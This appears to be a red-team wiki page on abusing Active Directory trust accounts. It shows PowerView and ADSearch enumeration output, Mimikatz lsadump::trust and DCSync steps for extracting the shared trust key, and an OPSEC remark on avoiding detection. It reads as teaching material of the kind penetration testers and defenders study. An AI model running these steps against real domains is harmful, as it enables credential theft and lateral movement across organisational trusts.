Trust Account Attack
This technique abuses the automatic creation of a trust account: whenever a one-way outbound trust is established between two domains trustingdomain.com and trusteddomain.com, a TRUSTINGDOMAIN$ account is created in the trusted domain, this is the trust account and we can recover its Kerberos keys and credentials to move from the trusting domain to the trusted one.
PS C:\users\otter\desktop> Get-DomainTrust -Domain trustingdomain.com
SourceName : trustingdomain.com
TargetName : trusteddomain.com
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Outbound
WhenCreated : 8/16/2022 9:49:17 AM
WhenChanged : 8/16/2022 9:49:17 AMWhen two domains share a trust relationship, they both store and share a password (which has a default lifetime of 30 days) in a Trusted Domain Object (or TDO): specifically, the cleartext NewPassword trust key represents the current password of the trust account, while the OldPassword trust key is typically the previous password. TDOs can be found with LDAP queries and they are generally stored in the system container (MS Documentation).
A good tool to find them is ADSearch
ADSearch.exe --search "(objectCategory=trustedDomain)" --domain trustingdomain.com --attributes distinguishedName,name,flatName,trustDirection
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] distinguishedName : CN=trustingdomain.com,CN=System,DC=trustingdomain,DC=com
[+] name : trustingdomain.com
[+] flatName : TRUSTING
[+] trustDirection : 3
[+] distinguishedName : CN=trusteddomain.com,CN=System,DC=trustingdomain,DC=com
[+] name : trusteddomain.com
[+] flatName : TRUSTED
[+] trustDirection : 2Now we have to get the trust hash from the DC of the trusting domain, to do this we can use the lsadump::trust /patch command from Mimikatz
OPSEC
Performing memory patching on a DC is extremely noisy so it's best to use the second technique.
Another way to get the shared trust hash is to enumerate the GUID of the TDO and DCSync to only get its hash
By default, the trusted domain has a TRUSTINGDOMAIN$ account we can use the shared trust credentials to impersonate it over the trust
A good post that describes the attack is this one.
Last updated